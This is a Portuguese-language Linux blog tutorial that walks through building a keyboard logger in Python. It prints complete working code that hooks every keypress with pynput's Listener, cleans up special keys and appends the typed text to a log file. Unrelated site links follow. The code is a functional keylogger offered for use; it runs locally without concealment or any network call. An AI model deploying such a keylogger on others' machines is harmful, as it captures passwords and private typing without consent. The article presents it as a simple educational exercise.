Como criar um keylogger em Python
Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.
[ Hits: 48.493 ]
Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.automatizando.dev
keydata = keydata.replace("'", "")
translate_keys = {
    "Key.space": " ",
    "Key.shift_r": "",
    "Key.shift_l": "",
    "Key.enter": "\n",
    "Key.alt": "",
    "Key.esc": "",
    "Key.cmd": "",
    "Key.caps_lock": "",
}
for key in translate_keys:
    #key recebe a chave do dicionário translate_keys
    #substituir a chave (key) pelo seu valor (translate_keys[key])
    keydata = keydata.replace(key, translate_keys[key])
#em pynput, importar o método Listener do teclado
from pynput.keyboard import Listener
#definir a localização do arquivo de log
logFile = "/home/fabio/python/keylogger/log.txt"
def writeLog(key):
    '''
    Esta função será responsável por receber a tecla pressionada
    via Listener e escrever no arquivo de log
    '''
    #dicionário com as teclas a serem traduzidas
    translate_keys = {
        "Key.space": " ",
        "Key.shift_r": "",
        "Key.shift_l": "",
        "Key.enter": "\n",
        "Key.alt": "",
        "Key.esc": "",
        "Key.cmd": "",
        "Key.caps_lock": "",
    }
    #converter a tecla pressionada para string
    keydata = str(key)
    #remover as asplas simples que delimitam os caracteres
    keydata = keydata.replace("'", "")
    for key in translate_keys:
        #key recebe a chave do dicionário translate_keys
        #substituir a chave (key) pelo seu valor (translate_keys[key])
        keydata = keydata.replace(key, translate_keys[key])
    #abrir o arquivo de log no modo append
    with open(logFile, "a") as f:
        f.write(keydata)
#abrir o Listener do teclado e escutar o evento on_press
#quando o evento on_press ocorrer, chamar a função writeLog
with Listener(on_press=writeLog) as l:
    l.join()
Viva o Linux adere à moda Orkut
Integrando o Exim4 com o SendGrid
Criando gráficos com a classe JPGraph (parte 1)
Criando seu próprio servidor de DNS dinâmico (nsupdate + bind9)
Desktop Linux ganha novos apps enquanto IA invade o noticiário
Redes definidas por Software com Mininet e POX - Criando meu primeiro Controlador
Como gerar qualquer emoji ou símbolo unicode a partir do seu teclado
Pydev - Preparando o Eclipse para o Python
tux-gpt - Assistente de IA para o Terminal
IA Turbina o Desktop Linux enquanto distros renovam forças
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Linux em 2025: Segurança prática para o usuário
Desktop Linux em alta: novos apps, distros e privacidade marcam o sábado
IA chega ao desktop e impulsiona produtividade no mundo Linux
Atualizando o Fedora 42 para 43
Como saber se o seu e-mail já teve a senha vazada?
Como descobrir se a sua senha já foi vazada na internet?
E aí? O Warsaw já está funcionando no Debian 13? (12)
copiar library para diretorio /usr/share/..... su com Falha na a... (1)
Problema em SSD ao dar boot LinuxMint LMDE FAYE 64 (3)









